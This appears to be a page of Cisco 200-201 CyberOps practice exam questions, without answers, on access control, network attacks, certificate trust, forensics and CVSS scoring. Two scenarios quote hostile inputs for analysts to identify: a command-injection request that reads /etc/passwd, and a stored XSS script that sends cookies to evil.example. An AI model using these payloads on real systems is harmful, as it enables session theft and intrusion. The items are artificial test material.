Medium 200-201 practice questions

A defense contractor requires that every file and user be assigned a sensitivity label (e.g., Confidential, Secret, Top Secret), and the operating system itself enforces that a user can only open a file if their clearance dominates the file's label. Individual data owners are NOT permitted to grant other users access to their own files. Which access control model is being described?

A security analyst is tasked with monitoring workloads that a development team spins up and tears down in a public cloud environment. The workloads are ephemeral virtual instances that may exist for only minutes before being terminated. The analyst notices that by the time an alert is investigated, the instance is often already gone, leaving no host to examine. Which characteristic of cloud environments is MOST responsible for this data visibility challenge?

During an intrusion investigation, an analyst opens a PCAP in Wireshark and examines an Ethernet frame carrying an ARP packet. The frame's destination MAC address is ff:ff:ff:ff:ff:ff and the ARP opcode field value is 1. What is the analyst observing at this point in the capture?

A SOC analyst reviewing switch logs and host ARP caches notices that two different IP addresses on the same VLAN — the default gateway (192.168.10.1) and a finance workstation (192.168.10.55) — are both mapped to the same MAC address (00:1A:2B:3C:4D:5E), which belongs to an unknown host. Users on that VLAN report intermittent slowness, and packet captures show duplicated traffic. Which type of network attack does this pattern most strongly indicate?

During a security review, an analyst documents that the company's public web portal exposes an HTTP interface, an SSH management port, and an outdated content management system with a known unpatched flaw (CVE-2023-XXXX). A junior teammate asks how to correctly categorize these findings. Which statement accurately distinguishes the attack surface from a vulnerability in this scenario?

During a breach investigation, an analyst has confirmed the malware family, the exploited vulnerability, and the affected systems. Management now asks the analyst to determine WHO conducted the attack by correlating TTPs, infrastructure reuse, and language artifacts in the code with a known threat group. Which investigative concept does this task represent?

A remote employee successfully logs into the corporate VPN using a valid username, password, and a token from their authenticator app. After connecting, they attempt to open a shared folder containing HR payroll files but receive an 'access denied' message, even though their credentials were accepted. Which pair of security concepts best explains what succeeded and what failed in this situation?

An employee reports finding several unlabeled USB flash drives scattered in the company parking lot. Curious, one worker plugged a drive into their workstation, which then began installing an unknown application. The security team confirms the drives were deliberately placed by an outside party hoping employees would connect them. Which type of attack does this scenario BEST describe?

A SOC analyst reviews an endpoint after a legacy line-of-business application repeatedly crashed. Debug logs show the application received a 4,200-byte input into a fixed 256-byte field, after which the instruction pointer was overwritten and unexpected shellcode executed with the application's privileges. Which type of attack does this behavior most likely indicate?

A SOC analyst reviewing NetFlow records notices that a workstation sends small, nearly identical-sized HTTPS requests to the same external IP address every 60 seconds, day and night, with minimal response data returned. The user is not actively working during many of these intervals. Which type of malicious activity does this pattern most strongly indicate?

A user's browser displays a warning that a website's certificate cannot be verified, even though the site presents a valid-looking certificate with matching hostname and current dates. An analyst inspects the certificate and finds it was signed by an intermediate CA that the browser does not recognize. What is the most likely reason for the trust failure?

A SOC analyst investigating a service outage finds that users cannot connect to an internal HTTPS application and their browsers display a warning that the connection is not private. The application's TLS certificate was issued exactly one year ago by the organization's internal PKI. No configuration changes were made to the server or the application code. What is the MOST likely cause?

A security team deploys a next-generation firewall configured to decrypt and inspect outbound TLS traffic. After deployment, a specific mobile banking application on corporate devices begins failing to connect, while all other HTTPS traffic is inspected successfully. The firewall logs show the application terminating the connection during the TLS handshake. What is the MOST likely cause of this behavior?

A security analyst is reviewing why a user's browser displayed a warning that a website's certificate was 'no longer valid' even though the certificate's notAfter date is six months in the future. Server logs confirm the certificate had not expired. Which mechanism most likely triggered this warning?

A web application analyst reviewing Apache access logs for an internal server notices the following request against a network diagnostics page: GET /ping.php?host=8.8.8.8;cat+/etc/passwd HTTP/1.1 (200). The application is designed to let users enter an IP address to test connectivity. Which type of attack does this request most likely represent?

A security architect is planning endpoint monitoring for a fleet of company laptops that frequently leave the corporate network and connect from home and public Wi-Fi. Management requires continuous telemetry, local process inspection, and the ability to enforce policy even when a device is offline from the corporate LAN. Which deployment approach best satisfies these requirements?

During a forensic investigation, an analyst acquires a bit-for-bit copy of a suspect's hard drive. Before analysis, the analyst calculated a SHA-256 hash of the original evidence drive as 'a1b2c3...'. After the imaging process completes, the analyst calculates the hash of the acquired image file and gets '9f8e7d...'. What conclusion should the analyst draw about the disk image?

A network security engineer is asked to deploy a sensor that must actively block malicious packets before they reach internal servers, without relying on a separate device to drop the traffic afterward. The sensor will be placed directly in the path of live traffic between the perimeter firewall and the server farm. Which security deployment does this describe?

A SOC analyst is reviewing web server logs after users reported that a company forum page automatically launched a JavaScript pop-up displaying their session cookie values. Investigation shows a forum post containing the string <script>document.location='http://evil.example/c?='+document.cookie</script> was saved to the database and is now rendered for every visitor who views that thread. Which type of attack does this activity BEST represent?

A vulnerability analyst is scoring a newly disclosed flaw using CVSS v3.1. The vendor advisory notes that successful exploitation requires the attacker to first win a race condition and rely on a specific memory layout that varies between systems, meaning the attacker cannot control conditions and must repeatedly attempt the attack. Which base metric value best reflects this characteristic?

A vulnerability analyst is reviewing a newly disclosed flaw in a public-facing web application. The flaw can be triggered by any remote attacker sending a crafted HTTP request over the internet, without any authentication and without any user interaction. When completing the CVSS v3.1 base metrics for this finding, which value should the analyst assign to the Attack Vector (AV) metric?

A SOC analyst is scoring a newly disclosed web application vulnerability using CVSS v3.1. The vulnerability allows an unauthenticated attacker to modify arbitrary records in the backend database, but it does not expose any data to the attacker and does not disrupt the availability of the service. Which base metric should the analyst rate as High for this vulnerability?

A vulnerability analyst is scoring a newly disclosed flaw in an internal web application. Exploitation requires the attacker to first authenticate to the application using a standard, non-administrative user account before triggering the vulnerable function. Which CVSS base metric value most accurately reflects this condition?

A security analyst is reviewing a CVSS v3.1 vector for a vulnerability in a hypervisor. Exploiting a guest virtual machine allows an attacker to affect resources belonging to the host operating system and other VMs beyond the initially compromised guest. Which CVSS base metric specifically captures this situation where the exploited component and the impacted component are different security authorities?

A security analyst is scoring a newly disclosed vulnerability in a document viewer. Exploitation only succeeds if a victim opens a malicious file that is emailed to them; the code will not run on its own. Which CVSS base metric value most accurately captures this condition?